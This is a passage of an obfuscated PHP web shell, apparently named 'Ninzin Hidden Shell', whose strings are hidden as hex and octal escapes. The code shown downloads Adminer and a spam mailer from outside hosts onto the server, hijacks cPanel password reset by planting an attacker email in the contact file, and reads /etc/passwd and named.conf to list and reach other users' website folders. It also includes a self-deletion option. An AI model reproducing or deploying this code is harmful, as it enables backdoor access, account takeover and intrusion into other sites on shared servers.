(!is_readable($lokasi)) { die("\x3c\x63\x65\x6e\164\x65\x72\76\124\150\x69\x73\x20\x64\x69\x72\x65\143\164\157\162\x79\x20\151\x73\40\165\x6e\x72\145\x61\144\141\x62\154\145\40\x3a\x28\x3c\57\143\145\156\x74\145\x72\x3e"); } elseif (isset($_GET["\141\144\155\x69\x6e\x65\162"])) { $dir = $_GET["\x70\x61\164\x68"]; $full = str_replace($_SERVER["\x44\117\x43\x55\115\105\x4e\x54\x5f\x52\117\117\x54"], '', $dir); function adminer($url, $isi) { $fp = fopen($isi, "\x77"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if (file_exists("\141\x64\x6d\151\x6e\145\x72\x2e\x70\x68\x70")) { echo "\x3c\143\145\x6e\164\x65\162\x3e\74\141\x20\150\162\x65\146\x3d\x27{$full}\x2f\x61\144\155\x69\x6e\145\x72\x2e\x70\x68\160\47\40\164\x61\x72\x67\x65\164\x3d\x27\137\142\x6c\141\156\x6b\47\x3e\x3c\x66\157\156\164\x20\143\x6f\x6c\157\162\x3d\47\x67\x72\145\x65\x6e\47\76\40\x3d\75\x3d\x3e\76\x3e\40\x41\x64\x6d\151\156\145\162\40\x4c\157\x67\151\156\40\74\x3c\74\75\75\x3d\x20\74\x2f\x61\76\74\57\x66\x6f\156\x74\x3e\74\57\x63\145\x6e\164\145\162\x3e\x3c\142\x72\57\76"; } else { if (adminer("\150\164\x74\x70\163\72\57\x2f\x73\150\145\x6c\x6c\x2e\160\x72\x69\x6e\163\150\x2e\x63\157\155\57\116\141\164\150\x61\x6e\x2f\x61\144\155\151\156\145\162\56\164\x78\x74", "\141\144\155\151\x6e\145\x72\56\160\x68\160")) { echo "\74\x63\x65\156\164\145\162\x3e\x3c\x61\x20\x68\x72\x65\x66\x3d\x27{$full}\x2f\x61\x64\155\x69\156\x65\162\x2e\160\x68\x70\x27\x20\x74\x61\162\147\145\164\75\47\x5f\142\x6c\x61\x6e\x6b\x27\x3e\74\146\157\x6e\164\x20\x63\157\154\157\x72\x3d\x27\147\162\145\145\156\x27\76\x20\x3d\75\x3d\x3e\x3e\76\x20\x41\144\x6d\x69\x6e\x65\162\40\114\x6f\x67\151\156\40\74\x3c\x3c\75\75\75\x20\x3c\57\141\x3e\x3c\57\146\157\x6e\x74\76\74\57\x63\145\x6e\x74\x65\162\76\74\x62\x72\57\x3e"; } else { echo "\74\x63\145\156\x74\x65\162\76\74\146\x6f\156\164\40\143\x6f\154\x6f\162\75\x72\145\144\76\107\x61\x67\x61\x6c\40\x4d\145\x6d\x62\165\x61\164\x20\106\x69\154\x65\40\101\x64\155\151\x6e\145\x72\74\57\x66\157\x6e\x74\x3e\74\57\x63\145\x6e\x74\x65\x72\76\x3c\x62\x72\57\76"; } } die; } elseif (isset($_GET["\x70\150\x70\155\x61\151\x6c\x65\162"])) { $dir = $_GET["\160\x61\x74\x68"]; $full = str_replace($_SERVER["\x44\117\x43\125\x4d\x45\116\x54\x5f\122\x4f\x4f\124"], '', $dir); function phpmailer($url, $isi) { $fp = fopen($isi, "\x77"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if (file_exists("\154\145\141\x66\56\160\x68\160")) { echo "\74\x63\145\156\x74\145\x72\x3e\x3c\141\40\150\x72\145\146\75\47{$full}\57\154\x65\141\146\56\160\150\160\47\40\x74\141\162\147\x65\164\75\47\x5f\142\154\x61\156\x6b\x27\x3e\74\x66\157\156\x74\40\143\157\154\x6f\162\75\x27\147\162\x65\x65\156\47\76\x20\x3d\x3d\75\76\x3e\76\x20\115\141\x69\154\145\x72\x20\114\157\x67\151\x6e\x20\74\74\x3c\x3d\75\75\x20\74\x2f\x61\x3e\x3c\57\x66\x6f\x6e\x74\x3e\74\57\x63\145\x6e\x74\145\x72\x3e\x3c\x62\x72\57\76"; } else { if (phpmailer("\x68\x74\x74\x70\x73\72\x2f\57\162\x61\167\56\x67\151\164\x68\165\142\x75\163\x65\x72\x63\x6f\156\x74\145\156\164\56\143\157\x6d\x2f\x30\x78\x4e\x69\x78\57\154\x65\141\146\155\x61\151\154\145\162\x2f\155\x61\x69\156\57\154\145\x61\x66\x2e\x70\150\160", "\x6c\x65\x61\x66\x2e\160\150\x70")) { echo "\74\x63\145\x6e\164\145\x72\x3e\x3c\141\x20\150\x72\145\x66\75\x27{$full}\x2f\154\145\x61\x66\56\x70\150\x70\x27\40\x74\x61\x72\147\145\164\75\x27\x5f\142\154\141\x6e\x6b\47\76\74\146\x6f\x6e\164\40\x63\157\x6c\x6f\x72\75\47\147\x72\x65\x65\156\47\x3e\x20\75\75\x3d\x3e\x3e\76\40\115\x61\151\x6c\145\162\x20\x4c\x6f\x67\151\156\40\74\x3c\74\x3d\75\75\40\74\57\141\x3e\74\57\146\157\156\x74\76\74\57\143\145\x6e\164\145\x72\x3e\x3c\x62\162\x2f\x3e"; } else { echo "\x3c\143\145\x6e\164\145\162\76\x3c\x66\x6f\156\164\x20\x63\157\x6c\x6f\x72\75\162\145\x64\x3e\x47\141\147\141\x6c\x20\115\x65\x6d\x62\165\x61\164\x20\x46\x69\x6c\x65\x20\115\141\151\154\145\x72\74\57\x66\157\x6e\x74\x3e\x3c\57\x63\145\156\164\x65\x72\x3e\x3c\x62\x72\x2f\76"; } } die; } elseif (isset($_GET["\143\160\x63\x72\x61\x63\153"])) { echo "\74\x63\145\x6e\x74\145\x72\76\x3c\x62\162\57\x3e\74\x68\x32\x20\143\x6c\x61\163\163\75\42\x74\145\x78\x74\55\x63\x65\156\164\145\x72\42\76\74\151\40\143\x6c\x61\163\x73\75\42\x66\141\40\146\141\55\153\145\171\42\76\74\x2f\151\x3e\x20\x41\x75\164\x6f\40\x52\145\x73\145\164\40\120\x61\163\163\x77\x6f\x72\144\40\x43\160\141\156\145\154\74\x2f\x68\x32\76\12\x9\x9\74\x66\157\162\x6d\x20\x6d\145\164\x68\157\144\x3d\42\x50\117\x53\x54\x22\76\xa\11\11\x9\x3c\x64\x69\166\40\x61\154\x69\147\x6e\75\x22\x63\x65\x6e\164\x65\x72\42\40\x63\x6c\x61\163\x73\x3d\x22\146\x6f\162\x6d\55\147\162\x6f\165\x70\x22\76\12\11\11\11\x9\74\151\156\160\x75\164\40\164\x79\x70\145\75\x22\145\155\x61\151\x6c\42\x20\156\x61\x6d\x65\x3d\42\145\x6d\x61\x69\154\x22\x20\143\154\x61\x73\x73\75\x22\165\x70\x22\x20\163\x74\x79\154\145\x3d\x22\167\x69\144\x74\x68\x3a\x20\64\65\x30\x70\170\73\40\143\165\162\x73\x6f\x72\72\40\x70\157\x69\156\164\145\162\73\x20\142\x6f\162\x64\x65\x72\x2d\143\x6f\x6c\x6f\x72\x3a\x20\43\x66\146\x66\x22\x20\x70\154\x61\x63\145\150\x6f\154\144\145\x72\75\x22\x4d\x61\163\165\153\x61\x6e\x20\105\155\141\x69\x6c\40\x4c\x75\40\x4e\147\141\x62\56\56\x2e\42\x2f\76\74\142\x72\57\x3e\12\x9\x9\x9\x9\x3c\142\x72\76\74\x69\x6e\160\x75\x74\x20\x74\171\x70\145\75\x22\x73\x75\142\x6d\151\164\x22\x20\x6e\141\x6d\x65\75\x22\x73\x75\142\x6d\151\164\42\40\143\154\x61\x73\163\75\42\165\160\42\40\163\164\x79\x6c\145\75\42\167\151\144\164\x68\72\40\x34\x35\60\160\170\x3b\40\143\x75\x72\163\x6f\x72\x3a\40\160\157\151\156\x74\145\x72\x3b\x20\x62\x6f\x72\144\x65\x72\55\x63\x6f\x6c\x6f\x72\x3a\x20\43\146\x66\146\42\x20\x76\x61\x6c\165\145\x3d\42\x53\x65\x6e\144\42\57\x3e\12\x9\x9\11\74\x2f\144\151\x76\76\12\x9\11\74\x2f\146\x6f\x72\x6d\76\x3c\x2f\x63\x65\156\x74\145\x72\x3e\x3c\x62\162\x3e"; if (isset($_POST["\x73\165\142\155\151\x74"])) { $user = get_current_user(); $site = $_SERVER["\110\124\x54\120\137\x48\x4f\x53\124"]; $ips = getenv("\x52\105\x4d\x4f\124\105\137\x41\x44\x44\122"); $email = $_POST["\x65\155\141\x69\x6c"]; $wr = "\x65\x6d\x61\151\154\x3a" . $email; $f = @fopen("\57\150\x6f\x6d\145\57" . $user . "\x2f\x2e\143\160\141\x6e\x65\x6c\x2f\x63\x6f\156\164\141\x63\x74\151\156\x66\157", "\167"); fwrite($f, $wr); fclose($f); $f = fopen("\x2f\150\x6f\x6d\145\x2f" . $user . "\x2f\56\143\157\156\164\x61\x63\164\151\x6e\146\157", "\167"); fwrite($f, $wr); fclose($f); $parm = $site . "\72\62\x30\70\x32\57\x72\145\x73\145\164\x70\x61\163\163\77\163\164\141\x72\164\x3d\61"; echo "\x3c\142\x72\x2f\x3e\x3c\143\x65\x6e\164\x65\x72\x3e\125\x72\x6c\72\x20" . $parm . "\74\x2f\x63\x65\156\164\145\x72\x3e"; echo "\74\142\x72\x2f\76\x3c\143\x65\x6e\164\145\162\x3e\125\x73\145\162\156\x61\x6d\x65\x3a\x20" . $user . "\x3c\x2f\x63\x65\x6e\164\145\162\x3e"; echo "\x3c\x62\162\x2f\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\123\x75\x63\143\x65\163\x73\40\x52\x65\x73\x65\164\40\124\157\x3a\40" . $email . "\x3c\x2f\143\x65\x6e\x74\x65\162\x3e\74\142\162\57\x3e\x3c\x62\x72\x2f\x3e"; } die; } elseif (isset($_GET["\x6a\165\x6d\x70\151\156\x67"])) { $i = 0; $dir = $_GET["\x70\x61\x74\150"]; echo "\x3c\144\151\x76\x20\143\154\x61\163\x73\x3d\x27\x63\x61\x72\x64\x20\x63\157\x6e\164\141\x69\x6e\x65\162\x27\x3e"; if (preg_match("\57\150\x73\160\150\145\162\x65\57", $dir)) { $urls = explode("\15\12", $_POST["\165\x72\154"]); if (isset($_POST["\x6a\x75\155\x70"])) { echo "\74\160\162\145\76"; foreach ($urls as $url) { $url = str_replace(array("\x68\x74\164\160\72\x2f\57", "\x77\167\167\56"), '', strtolower($url)); $etc = "\57\145\x74\143\x2f\x70\141\163\163\167\144"; $f = fopen($etc, "\162"); while ($gets = fgets($f)) { $pecah = explode("\72", $gets); $user = $pecah[0]; $dir_user = "\57\x68\163\160\x68\x65\x72\145\x2f\154\157\x63\141\154\x2f\150\157\155\145\57{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "\57" . $url; if (is_readable($url_user)) { $i++; $jrw = "\x5b\74\x66\157\x6e\x74\40\143\x6f\x6c\x6f\162\x3d\147\162\x65\x65\156\76\x52\74\x2f\146\157\x6e\x74\x3e\135\x20\74\x61\40\150\162\x65\x66\x3d\47\x3f\144\x69\x72\x3d{$url_user}\x27\x3e\74\x66\157\156\164\x20\143\x6f\x6c\157\x72\75\43\x30\60\x34\66\106\106\76{$url_user}\74\x2f\146\x6f\156\164\76\x3c\57\141\x3e"; if (is_writable($url_user)) { $jrw = "\133\74\x66\157\156\164\40\143\157\154\157\162\x3d\147\162\x65\x65\x6e\76\122\x57\74\x2f\146\x6f\x6e\x74\76\135\x20\x3c\x61\40\x68\x72\145\x66\75\x27\77\144\151\x72\75{$url_user}\x27\x3e\x3c\146\x6f\x6e\x74\x20\x63\x6f\154\157\x72\75\43\60\60\x34\66\x46\x46\76{$url_user}\x3c\x2f\x66\x6f\x6e\164\x3e\74\57\141\x3e"; } echo $jrw . "\74\x62\x72\76"; } } } } if ($i == 0) { } else { echo "\74\x62\x72\x3e\124\157\164\141\154\40\141\x64\x61\x20" . $i . "\40\113\x61\x6d\x61\162\40\x64\151\40" . $ip; } echo "\x3c\57\160\162\145\x3e"; } else { echo "\74\x63\x65\156\164\x65\x72\x3e\12\x9\x9\x9\x9\x9\40\x20\x3c\x66\157\x72\155\40\x6d\145\x74\x68\x6f\144\75\x22\x70\157\x73\x74\x22\76\12\11\11\11\x9\11\40\40\x4c\x69\163\x74\x20\x44\x6f\x6d\x61\151\156\x73\x3a\40\74\x62\162\x3e\12\x9\x9\x9\x9\x9\x20\x20\74\x74\x65\x78\164\x61\x72\145\141\40\x6e\x61\155\145\75\x22\165\x72\x6c\x22\x20\143\x6c\x61\163\163\75\x22\x66\x6f\x72\155\55\x63\x6f\x6e\164\x72\x6f\154\42\x3e"; $fp = fopen("\x2f\x68\x73\160\x68\145\x72\145\x2f\x6c\157\x63\141\154\x2f\143\x6f\x6e\x66\x69\147\x2f\150\x74\x74\x70\144\x2f\x73\151\164\x65\x73\57\x73\x69\164\x65\x73\56\x74\170\164", "\162"); while ($getss = fgets($fp)) { echo $getss; } echo "\74\57\164\145\170\x74\141\162\x65\x61\x3e\74\x62\x72\76\xa\x9\11\11\x9\x9\40\40\74\151\x6e\160\x75\x74\x20\x74\171\x70\x65\x3d\x22\163\165\142\155\x69\164\42\40\x76\x61\x6c\165\145\x3d\x22\112\x75\x6d\x70\151\156\147\42\40\156\x61\x6d\x65\75\x22\x6a\165\155\x70\42\x20\163\164\171\x6c\145\75\x22\x77\x69\144\x74\x68\72\x20\65\60\x30\160\170\73\40\150\x65\x69\x67\150\x74\72\x20\62\x35\x70\x78\73\x22\x3e\xa\11\x9\x9\x9\11\x20\x20\74\x2f\146\157\162\155\76\74\57\x63\145\x6e\164\x65\x72\x3e"; } } elseif (preg_match("\x2f\x76\x68\x6f\x73\x74\x73\x2f", $dir)) { $urls = explode("\15\xa", $_POST["\x75\162\x6c"]); if (isset($_POST["\x6a\x75\155\160"])) { echo "\74\x70\x72\145\x3e"; foreach ($urls as $url) { $web_vh = "\57\x76\x61\162\x2f\x77\x77\167\x2f\x76\150\x6f\163\164\x73\x2f{$url}\57\x68\x74\164\160\144\x6f\143\x73"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { $i++; $jrw = "\x5b\x3c\146\x6f\x6e\x74\x20\143\157\x6c\x6f\162\x3d\x67\162\145\145\x6e\76\x52\x3c\57\x66\x6f\x6e\x74\x3e\135\x20\x3c\141\x20\x68\x72\145\x66\75\47\x3f\x64\151\x72\75{$web_vh}\47\76\74\146\x6f\x6e\x74\40\x63\157\154\157\x72\75\x23\60\60\64\66\106\x46\76{$web_vh}\74\57\x66\x6f\156\164\x3e\74\x2f\141\76"; if (is_writable($web_vh)) { $jrw = "\x5b\x3c\x66\157\x6e\x74\x20\x63\x6f\154\x6f\x72\x3d\147\162\x65\145\156\76\x52\127\x3c\57\146\x6f\x6e\164\76\x5d\x20\74\141\x20\150\162\x65\146\x3d\x27\77\x64\151\162\x3d{$web_vh}\47\x3e\74\146\x6f\x6e\x74\40\143\157\154\157\x72\75\43\x30\x30\64\x36\x46\106\76{$web_vh}\74\57\146\x6f\x6e\164\76\x3c\57\141\76"; } echo $jrw . "\x3c\142\162\x3e"; } } } if ($i == 0) { } else { echo "\x3c\142\162\76\124\157\164\x61\154\40\x61\x64\x61\40" . $i . "\40\x4b\x61\x6d\141\162\40\x64\151\x20" . $ip; } echo "\74\x2f\x70\162\x65\x3e"; } else { echo "\74\143\x65\156\x74\x65\162\x3e\xa\x9\x9\x9\x9\11\x20\x20\x3c\x66\x6f\x72\x6d\40\x6d\x65\164\x68\157\144\x3d\x22\160\x6f\x73\x74\x22\x3e\12\x9\11\x9\x9\x9\40\40\x4c\x69\x73\164\x20\104\x6f\155\141\x69\x6e\163\72\40\74\142\x72\x3e\12\x9\11\x9\x9\11\x20\x20\74\164\145\x78\164\x61\162\x65\x61\40\156\141\155\145\75\x22\165\x72\154\x22\x20\x63\x6c\x61\163\x73\x3d\42\146\x6f\162\x6d\x2d\143\x6f\x6e\x74\162\157\x6c\42\x3e"; bing("\151\160\x3a{$ip}"); echo "\74\x2f\164\145\170\x74\141\x72\x65\x61\x3e\74\142\x72\x3e\xa\x9\x9\x9\11\11\40\x20\x3c\x69\156\160\x75\164\x20\164\x79\160\145\x3d\x22\163\165\x62\x6d\151\164\x22\x20\x76\141\x6c\165\145\75\42\112\x75\155\160\151\156\x67\x22\x20\x6e\x61\155\x65\75\42\152\x75\x6d\x70\42\x20\x73\x74\x79\154\x65\75\x22\x77\151\x64\164\150\x3a\x20\65\x30\60\x70\170\73\40\x68\x65\x69\x67\x68\x74\72\40\x32\65\160\x78\73\x22\76\xa\xa\x9\11\11\11\11\40\40\74\57\146\x6f\162\x6d\76\74\57\x63\x65\x6e\x74\x65\162\x3e"; } } else { echo "\x3c\160\162\x65\76"; $etc = "\57\145\164\143\57\160\x61\163\x73\167\x64"; $opening = @fopen("{$etc}", "\x72") or die("\x3c\143\145\x6e\164\145\x72\76\74\146\157\x6e\164\x20\143\x6f\x6c\x6f\162\x3d\x72\x65\144\76\103\141\156\x27\164\x20\162\x65\x61\x64\x20\x2f\x65\x74\143\x2f\x70\x61\163\x73\167\144\74\x2f\146\x6f\x6e\164\76\x3c\57\143\145\156\x74\145\162\76\x3c\142\x72\x2f\x3e"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "\74\x66\x6f\x6e\x74\x20\143\157\x6c\157\x72\x3d\x72\145\x64\x3e\103\x61\x6e\47\x74\40\x72\x65\x61\144\x20\57\x65\164\x63\x2f\x70\x61\163\x73\x77\144\74\x2f\x66\x6f\x6e\x74\76\74\x62\162\57\76"; } else { preg_match_all("\x2f\50\56\52\77\51\72\170\x3a\x2f", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "\x2f\x68\x6f\155\145\x2f{$user_pro_jump}\57\x70\x75\x62\154\151\143\x5f\x68\x74\155\x6c"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "\133\x3c\x66\x6f\156\164\x20\143\157\x6c\157\x72\x3d\147\162\x65\x65\156\x3e\122\x3c\x2f\x66\157\x6e\164\76\x5d\x20\x3c\141\x20\x68\162\145\146\x3d\x27\77\x64\151\162\x3d{$user_jumping_dir}\x27\76\74\x66\x6f\156\164\x20\x63\157\x6c\x6f\x72\x3d\43\60\x30\x34\66\106\x46\x3e{$user_jumping_dir}\74\57\146\157\x6e\164\x3e\x3c\57\x61\76"; if (is_writable($user_jumping_dir)) { $jrw = "\133\x3c\146\x6f\x6e\x74\x20\x63\x6f\154\x6f\x72\x3d\x67\162\x65\145\156\76\122\127\74\x2f\x66\x6f\x6e\164\x3e\135\40\x3c\x61\40\x68\162\145\x66\x3d\47\x3f\x64\x69\162\75{$user_jumping_dir}\x27\76\x3c\146\x6f\x6e\164\40\143\x6f\154\157\162\x3d\x23\x30\x30\64\66\x46\106\x3e{$user_jumping_dir}\x3c\x2f\x66\x6f\x6e\x74\x3e\74\x2f\x61\x3e"; } echo $jrw; if (function_exists("\160\157\x73\x69\170\137\147\x65\164\x70\167\165\x69\x64")) { $domain_jump = file_get_contents("\57\145\x74\143\57\156\x61\x6d\x65\x64\56\x63\x6f\x6e\x66"); if ($domain_jump == '') { echo "\40\x3d\x3e\40\50\x20\x3c\x66\x6f\156\164\40\143\x6f\x6c\x6f\162\75\162\x65\x64\x3e\147\x61\x62\x69\163\141\x20\141\x6d\x62\x69\x6c\40\x6e\x61\x6d\x61\40\x64\x6f\x6d\141\x69\156\40\156\171\141\x3c\x2f\x66\157\156\x74\76\40\x29\74\x62\162\76"; } else { preg_match_all("\x23\57\166\141\162\x2f\156\x61\x6d\x65\144\x2f\x28\56\52\x3f\51\56\x64\x62\x23", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("\57\x65\164\143\x2f\166\141\x6c\x69\x61\x73\145\x73\x2f{$dj}")); $user_jumping_url = $user_jumping_url["\156\x61\x6d\145"]; if ($user_jumping_url == $user_pro_jump) { echo "\x20\75\76\40\x28\x20\x3c\x75\x3e{$dj}\74\57\165\x3e\40\x29\74\142\162\76"; break; } } } } else { echo "\x3c\142\162\x3e"; } } } } } if ($i == 0) { } else { echo "\x3c\142\x72\x3e\124\157\x74\x61\x6c\x20\x61\144\x61\x20" . $i . "\x20\x4b\x61\x6d\141\x72\40\x64\x69\x20" . $ip; } echo "\x3c\x2f\x70\162\145\76"; } echo "\x3c\x2f\x64\151\166\x3e\74\x62\162\x2f\x3e"; die; } elseif (isset($_GET["\x61\x62\157\x75\x74"])) { echo "\x3c\143\x65\x6e\164\x65\162\76\x3c\144\151\166\x20\143\154\x61\x73\163\75\x27\143\141\162\x64\40\x74\145\x78\x74\55\x63\x65\x6e\164\145\162\x20\x62\x67\55\x6c\151\x67\x68\x74\40\x61\x62\x6f\x75\x74\47\x3e\xa\x9\x9\x9\11\74\150\62\x20\x63\x6c\141\163\163\75\x27\x63\141\162\144\55\150\145\x61\x64\x65\x72\x27\x3e\x3c\146\157\156\x74\x20\x66\x61\x63\145\x3d\47\x42\165\x6e\147\x65\x65\x20\117\x75\164\x6c\151\x6e\145\x27\x20\x73\x69\x7a\x65\75\47\66\x27\x3e\x7b\x20\x4e\151\x6e\172\151\x6e\x20\x48\151\x64\144\145\x6e\x20\123\x68\x65\154\x6c\40\x7d\x3c\x2f\x66\x6f\x6e\164\x3e\x3c\x2f\150\62\76\xa\11\11\x9\x9\74\x64\151\x76\40\x63\154\x61\x73\x73\75\47\x63\141\x72\144\55\x62\157\144\171\x27\x3e\12\11\11\11\11\11\x3c\x64\151\x76\76\x3c\x69\155\147\40\163\162\x63\75\47\x68\x74\x74\160\163\72\x2f\x2f\x69\56\x69\142\x62\x2e\x63\157\57\132\123\153\x73\x54\171\x47\57\156\x69\156\x7a\x69\x6e\x6a\x70\x2e\x77\145\142\160\x27\x20\x73\x74\x79\x6c\145\x3d\x27\x70\157\163\x69\164\x69\157\156\x3a\40\x72\x65\x6c\141\x74\151\x76\145\73\40\142\x6f\162\144\145\x72\55\x72\141\x64\151\x75\x73\72\40\x35\x30\45\x3b\x20\167\151\144\x74\x68\75\x27\62\x32\x30\x27\x20\x68\x65\151\147\150\164\75\x27\62\62\x30\47\76\74\x2f\x64\151\166\76\xa\11\x9\x9\11\11\74\150\64\x20\x63\154\x61\163\163\75\47\143\141\x72\144\55\x74\x65\170\164\x27\x3e\x7b\x20\116\x69\156\172\151\156\x20\120\162\151\166\x61\164\x65\40\123\x68\145\154\154\40\x7d\40\x68\x69\x20\x65\166\145\162\x79\157\x6e\145\40\x6d\171\40\156\141\155\145\x20\151\163\40\156\x69\x6e\x7a\151\156\x2c\x20\x6f\153\141\171\40\155\x79\40\x67\x6f\x61\x6c\x20\x69\x73\40\x74\157\40\x6d\141\153\x65\40\x74\150\151\163\40\142\141\x63\153\x64\157\x6f\x72\40\163\150\x65\x6c\154\40\163\157\40\164\x68\141\164\x20\x69\x74\x20\143\141\156\40\160\145\x6e\145\164\162\x61\164\145\x20\141\x6c\154\x20\163\151\x74\145\163\x20\151\156\40\164\150\x65\40\x77\x6f\x72\x6c\144\40\x78\x44\x2e\x2e\x2e\x3c\x2f\x68\x34\x3e\x20\74\x68\64\x20\x63\x6c\141\x73\163\x3d\47\x63\141\x72\x64\x2d\x74\x65\170\164\47\x3e\141\x6e\x64\40\x74\150\x61\156\153\x73\40\164\157\x20\74\x61\40\x68\x72\145\x66\75\47\x68\x74\164\160\163\72\x2f\57\x74\56\x6d\145\57\170\172\157\165\x72\164\x27\x3e\x3c\x66\x6f\x6e\164\40\143\157\x6c\157\x72\75\x27\x79\145\154\x6c\157\x77\x27\x3e\x40\x78\172\x6f\165\162\x74\74\x2f\146\x6f\x6e\x74\76\x3c\57\x61\x3e\40\x66\157\162\x20\x68\145\x6c\160\x69\156\x67\40\155\x65\40\x69\156\40\155\141\x6b\x69\x6e\147\40\164\x68\151\x73\40\163\x68\x65\154\154\x2e\40\x48\141\160\x70\171\x20\150\x61\143\153\151\156\x67\x20\147\165\x79\x73\41\x3c\57\150\x34\x3e\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\74\141\x75\144\x69\x6f\40\143\x6f\156\164\162\157\154\163\x3d\x27\143\x6f\x6e\x74\162\x6f\154\x73\x27\x20\x73\x72\143\75\47\x68\164\x74\x70\163\72\x2f\x2f\144\56\164\157\160\x34\x74\x6f\x70\56\151\157\57\155\x5f\62\71\x37\x32\x66\153\x61\70\65\61\x2e\x6d\x70\x33\x27\x3e\x3c\x2f\x61\x75\x64\x69\157\x3e\12\11\x9\11\x9\x3c\57\x64\x69\166\76\xa\11\x9\x9\x9\x3c\144\x69\x76\40\143\154\x61\x73\x73\75\x27\x63\x61\x72\x64\55\x66\157\157\164\x65\x72\47\x3e\12\x9\x9\x9\11\x9\74\160\x20\x63\x6c\x61\x73\163\75\47\143\141\162\x64\x2d\x74\145\x78\x74\47\76\103\157\x70\171\x72\151\147\150\x74\x20\62\60\62\64\40\173\40\116\x69\156\172\x69\x6e\x2e\152\x70\40\x7d\74\x2f\160\x3e\12\x9\11\x9\x9\x3c\57\144\151\x76\76\xa\x9\x9\11\74\x2f\x64\x69\x76\x3e\x3c\x62\162\57\76\74\x2f\143\x65\x6e\x74\x65\162\76"; die; } elseif (isset($_GET["\x6b\x69\x6c\154"])) { if (@unlink(preg_replace("\x21\50\144\53\x29\163\x2e\52\41", '', __FILE__))) { die("\74\x63\x65\156\164\145\162\x3e\x3c\142\162\76\74\143\x65\x6e\164\x65\x72\x3e\74\x68\x32\76\x53\x68\x65\x6c\154\40\122\145\155\x6f\166\145\x64\41\41\x21\x3c\x2f\150\x32\76\x3c\142\162\x3e\107\157\157\x64\x62\171\x65\x20\116\x69\156\x7a\151\x6e\40\72\x28\74\x2f\x63\x65\x6e\x74\145\x72\x3e\74\57\143\145\156\164\x65\162\x3e"); } else { echo "\74\x63\x65\156\x74\x65\x72\76\x75\156\x6c\151\x6e\x6b\40\x66\141\x69\x6c\145\x64\x21\x3c\57\x63\145\x6e\x74\x65\x72\x3e"; } } goto d5Nl3; zmjIK: echo "\x3c\x61\40\143\x6c\x61\x73\x73\x3d\x22\x64\145\x73\x74\x72\157\171\x5f\164\x61\x62\154\x65\x22\40\150\162\145\x66\75\42\77\x70\x61\164\x68\x3d" . $lokasi . "\x26\160\150\x70\x69\x6e\146\x6f\x3d\150\x65\141\144\x73\x68\157\x6f\164\x22\x3e\74\151\x20\143\154\141\163\163\75\x22\146\141\x62\40\146\x61\x2d\x70\x68\x70\42\76\74\57\151\76\46\156\142\x73\160\73\120\x48\120\x20\x49\156\x66\x6f\74\x2f\141\x3e"; goto Njo2H; lm9_W: echo "\x3c\x2f\143\145\156\164\145\162\76\x3c\57\x74\144\x3e\xa\x3c\x74\x64\x3e\74\x63\145\x6e\x74\145\162\x3e\74\x66\157\162\155\x20\x6d\145\x74\x68\157\144\x3d\x22\120\117\123\124\42\x20\x61\143\164\151\157\156\x3d\x22\x3f\160\151\154\151\x68\141\x6e\x26\160\141\x74\x68\x3d{$lokasi}\x22\76\12\x3c\151\x6e\x70\165\164\40\164\171\160\145\x3d\42\150\151\144\x64\145\x6e\x22\x20\x6e\141\x6d\145\75\42\164\x79\x70\145\x22\x20\x76\x61\154\165\145\75\42\144\151\x72\42\76\12\x3c\x69\156\160\165\x74\x20\x74\171\x70\x65\75\42\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\x65\75\x22\x6e\141\x6d\145\42\x20\166\x61\x6c\165\x65\75\x22\x70\151\154\x69\x68\x61\x6e\x22\76\12\74\x69\x6e\160\165\x74\x20\164\171\160\x65\x3d\42\x68\x69\144\144\145\x6e\x22\x20\156\141\x6d\145\x3d\x22\x70\x61\x74\x68\42\40\166\x61\x6c\165\x65\x3d\42{$lokasi}\57\160\x61\164\150\x22\76\xa\x3c\x62\x75\x74\164\x6f\156\x20\x74\x79\x70\x65\75\47\163\165\x62\x6d\x69\x74\47\x20\x63\154\x61\x73\163\x3d\47\142\x74\x66\x27\40\156\x61\x6d\145\75\47\160\x69\x6c\x69\x68\47\40\x76\141\154\x75\x65\75\x27\x66\157\154\144\x65\x72\47\76\x3c\x69\x20\143\154\141\163\x73\x3d\x27\x66\141\x20\x66\x61\x2d\x66\157\154\144\145\162\x27\40\x73\164\x79\154\145\75\x27\x63\x6f\154\x6f\x72\x3a\40\43\146\x66\146\x27\x3e\x3c\x2f\x69\76\x3c\57\142\x75\x74\164\x6f\x6e\76\12\74\142\165\x74\x74\x6f\156\40\x74\171\160\x65\75\47\x73\165\x62\155\151\164\47\x20\x63\x6c\141\163\x73\75\47\x62\x74\x66\x27\x20\x6e\x61\155\x65\75\x27\x70\151\154\151\150\x27\x20\x76\x61\x6c\x75\145\x3d\47\x66\151\154\x65\47\76\74\x69\x20\x63\154\141\163\163\x3d\47\146\141\40\x66\141\x2d\146\151\x6c\x65\x27\x20\163\164\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\40\x23\x66\146\146\47\76\x3c\57\x69\x3e\74\x2f\142\165\164\x74\157\x6e\x3e\xa\x3c\x2f\146\x6f\x72\x6d\x3e\74\x2f\143\145\156\x74\x65\162\x3e"; goto qC3XU; eZqHv: echo "\123\145\x72\166\x65\x72\40\x49\x50\40\72\40\x3c\146\x6f\x6e\x74\40\143\x6f\x6c\x6f\162\x3d\x67\x6f\x6c\144\76" . ipserv() . 